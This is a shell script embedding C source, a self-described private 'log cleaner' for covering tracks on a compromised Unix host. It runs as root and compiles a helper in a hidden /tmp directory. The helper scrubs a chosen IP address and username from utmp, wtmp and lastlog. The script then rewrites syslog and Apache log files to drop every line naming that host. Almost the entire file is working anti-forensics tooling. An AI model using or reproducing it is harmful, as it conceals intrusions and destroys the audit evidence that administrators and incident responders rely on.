#!/bin/sh

#
# CNS log cleaner
# Don't distribute source, it is dangerous ! This is private code !
#

#
# Configuration vars
#

TEMP_DIR=/tmp/.cz

#
# Code source ! don't touch anymore !
#

echo "CNS/pec citron, using canard wc lib !"
echo ""

echo "[*] Initialisating / Creating temporary directory"

if [ "`id -u`" != "0" ]; then
  echo "ERROR: You can't delete logs if you're not root !"
  exit 1
fi

if [ "$1" = "" ]; then
  echo "ERROR: You need two args:"
  echo "$0 <src [1;1mip[0;0m host> <login user>"
  exit 1
fi

if [ ! -d "$TEMP_DIR" ]; then
  mkdir -p $TEMP_DIR
fi

HOSTSRC=$1

echo "[*] Extracting code source files"

# after this line, just :.!cat pec.c
cat > $TEMP_DIR/pec.c << __EOF__
#ifndef TEMP_DIR
#define TEMP_DIR "/tmp/.cz"
#endif

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>
#include <unistd.h>
#include <error.h>
#include <netdb.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <sys/stat.h>

static struct option long_options[] =
{
  { "reverse",		0,	0,	'r' },
  { "clean-utmp",   0,  0,  'u' },
  { "clean-lastlog",0,  0,  'l' }
};

struct in_addr
resolv(char *hostname)
{
    struct in_addr  in;
    struct hostent *hp;

    if ((in.s_addr = inet_addr(hostname)) == -1) {
        if ((hp = gethostbyname(hostname)))
            bcopy(hp->h_addr, &in.s_addr, hp->h_length);
        else {
            herror("Can't resolv hostname");
            exit(-1);
        }
    }
    return in;
}

char *get_file_name (char *fichier)
{
  char *buf;

  if (!fichier)
    return (fichier);

  buf = (char*) malloc (strlen(fichier) + strlen(TEMP_DIR) + 2);

  sprintf(buf, "%s/%s", TEMP_DIR, fichier);

  return (buf);
}

char *reverse (char *addr)
{
  struct in_addr  in;
  struct hostent *hp, *host;

  if ((hp = gethostbyname(addr)))
  {
    bcopy(hp->h_addr, &in.s_addr, hp->h_length); 
    if ((host = gethostbyaddr((char *) &in, sizeof(in), AF_INET)))
      return (host->h_name);
  }
  return (NULL);
}

int clean_utmp (int argn, char **argv)
{
  char *nslookupc, *filename;
  int fd, new_fd, i;
  char *buf;
  struct utmp utmp_data;

  if (argn != 5)
    return 1;
  buf = (char*)malloc (sizeof(struct utmp));
  nslookupc = reverse (argv[3]);
  filename = get_file_name("Xtmp_new");

  if ((fd = open (argv[2], O_RDONLY)) == -1)
  {
    perror ("open");
    exit (1);
  }

  if ((new_fd = open (filename, O_RDWR | O_CREAT)) == -1)
  {
    close (fd);
    perror ("open 2");
    exit (1);
  }

  i = 0;
  while (read(fd, buf, sizeof (struct utmp)) == sizeof (struct utmp))
  {
    memcpy (&utmp_data, buf, sizeof (struct utmp));
    if (strcmp(argv[4], utmp_data.ut_user))
      write (new_fd, buf, sizeof (struct utmp));
    else
    {
      if (strcmp(argv[3], utmp_data.ut_host))
      {
        if (nslookupc)
        {
          if (strcmp(nslookupc, utmp_data.ut_host))
            write (new_fd, buf, sizeof (struct utmp));
        }
        else
          write (new_fd, buf, sizeof (struct utmp));
      }
      else
      {
        printf("removing entity\n"); i ++;
      }
    }
  }

  close (fd);

  if ((fd = open (argv[2], O_WRONLY | O_TRUNC)) == -1)
  {
    close (new_fd);
    if (unlink (filename))
      perror ("unlink");
    exit (1);
  } 

  lseek (new_fd, 0, SEEK_SET);

  while (read(new_fd, buf, sizeof (struct utmp)) == sizeof (struct utmp))
    write (fd, buf, sizeof (struct utmp));

  close (new_fd);
  close (fd);

  if (unlink (filename))
    perror ("unlink");
  
  return 0;
}

int clean_lastlog (int argn, char **argv)
{
  char *buf;
  char *nslookupc;
  int i, new_fd, fd;
  char *filename;
  struct lastlog lastlog_data;
  if (argn != 5)
    return 1;

  nslookupc = reverse (argv[3]);

  if (argn != 5)
    return 1;
  buf = (char*)malloc (sizeof(struct lastlog));
  filename = get_file_name("last_new");

  if ((fd = open (argv[2], O_RDONLY)) == -1)
  {
    perror ("open");
    exit (1);
  }

  if ((new_fd = open (filename, O_RDWR | O_CREAT | O_TRUNC, 
       S_IRUSR | S_IWUSR)) == -1)
  {
    close (fd);
    perror ("open 2");
    exit (1);
  }

  i = 0;
  while (read(fd, buf, sizeof (struct lastlog)) == sizeof (struct lastlog))
  {
    memcpy (&lastlog_data, buf, sizeof (struct lastlog));
//    printf("host: [%s][%s][%s]\n", lastlog_data.ll_host, argv[3], nslookupc);
    if (strcmp(argv[3], lastlog_data.ll_host))
    {
      if (nslookupc)
      {
        if (strcmp(nslookupc, lastlog_data.ll_host))
          write (new_fd, buf, sizeof (struct lastlog));
        else
        {
          memset (buf, 0, sizeof (struct lastlog));
          write (new_fd, buf, sizeof (struct lastlog));
        }
      }
      else
        write (new_fd, buf, sizeof (struct lastlog));
    }
    else
    {
      memset (buf, 0, sizeof (struct lastlog));
      write (new_fd, buf, sizeof (struct lastlog));
    }
  }

  close (fd);

  if ((fd = open (argv[2], O_WRONLY | O_TRUNC)) == -1)
  {
    close (new_fd);
    if (unlink (filename))
      perror ("unlink");
    exit (1);
  }

  lseek (new_fd, 0, SEEK_SET);

  while (read(new_fd, buf, sizeof (struct lastlog)) == sizeof (struct lastlog))
    write (fd, buf, sizeof (struct lastlog));

  close (new_fd);
  close (fd);

//  if (unlink (filename))
//    perror ("unlink");

  return 0;
}

int main (int argn, char **argv, char **envp)
{
  int arg;
  int option_index = 0;
  int did_i_create_TEMP_DIR = 0;

  if (access (TEMP_DIR, F_OK))
  {
    did_i_create_TEMP_DIR ++;
    mkdir (TEMP_DIR, S_IRUSR | S_IWUSR | S_IXUSR);
  }

  if (argn < 3)
  {
    printf("Incompatible args.\n");
    exit (1);
  }
  arg = getopt_long (argn, argv, "lru",
    long_options, &option_index);
  switch (arg)
  {
    case 'r':
      printf("%s\n", reverse (argv[2]));
    break;
    case 'u':
      clean_utmp (argn, argv);
    break;
    case 'l':
      clean_lastlog (argn, argv);
    break;
  }

  if (did_i_create_TEMP_DIR)
    unlink (TEMP_DIR);

  return 0;
}
__EOF__

echo "gcc -Wall -O2 -g -DTEMP_DIR="\"$TEMP_DIR\"" -o $TEMP_DIR/pec $TEMP_DIR/pec.c"
gcc -Wall -O2 -g -DTEMP_DIR="\"$TEMP_DIR\"" -o $TEMP_DIR/pec $TEMP_DIR/pec.c

HOSTNAME=`$TEMP_DIR/pec --reverse $HOSTSRC`
echo $HOSTNAME - $HOSTSRC - 
exit

echo "[*] Zapping"
$TEMP_DIR/pec --clean-utmp /var/run/utmp $1 $2
$TEMP_DIR/pec --clean-utmp /var/log/wtmp $1 $2
$TEMP_DIR/pec --clean-lastlog /var/log/lastlog $1 $2

echo "[*] Looking syslog configuration now and fucking log files"

for i in `cat /etc/syslog.conf | sed -e "s/\t/ /g" |grep -v -e "^#"`; do
  A="`echo $i | grep '/'`"
  if [ ! "$A" = "" ]; then
    A=`echo $A | sed -e s/^-//`
    B="`file $A 2>/dev/null | grep -v 'character' | grep -v 'fifo'`"
    if [ "$?" = "0" ]; then
      if [ ! "$B" = "" ]; then
        echo -n "Cleaning $A ..."
        grep -v $HOSTSRC $A | grep -v $HOSTNAME > $TEMP_DIR/grmlgrmrlgm
        cat $TEMP_DIR/grmlgrmrlgm > $A
        echo "OK !" 
      fi
    fi
  fi
done

echo "[*] Clearing now some daemons log files"

# Errorlog
# CustomLog
# TransferLog

for rep in "/usr/www/logs/ /usr/apache/logs/ /var/log/ /usr/local/www/ /usr/local/apache/ /var/log/httpd/ /home/apache/logs/ /home/httpd/logs/ /usr/adm/ /usr/adm/logs/ /var/www/logs/"; do
  for fichier in "$rep/*"; do
    if [ ! "`file $fichier | grep text`" = "" ];
    then
      grep -v $HOSTSRC $fichier | grep -v $HOSTNAME > $TEMP_DIR/lalalaleal
      cat $TEMP_DIR/lalalaleal > $fichier
      echo -n "$fichier cleaned"
    fi
  done
done

for files in `locate httpd.conf | egrep '/httpd.conf$'`; do
  echo $files
  for fichier in `cat $files | grep -v "^#" | egrep -ie "(Error|Custom|Transfer)Log" | cut -d' ' -f2`; do
    echo $fichier
    if [ ! "`file $fichier | grep text`" = "" ];
    then
      grep -v $HOSTSRC $fichier | grep -v $HOSTNAME > $TEMP_DIR/lalalaleal
      cat $TEMP_DIR/lalalaleal > $fichier
      echo -n "$fichier cleaned"
    fi
  done
done

echo "[*] Deleting temp reps."

rm -fr $TEMP_DIR

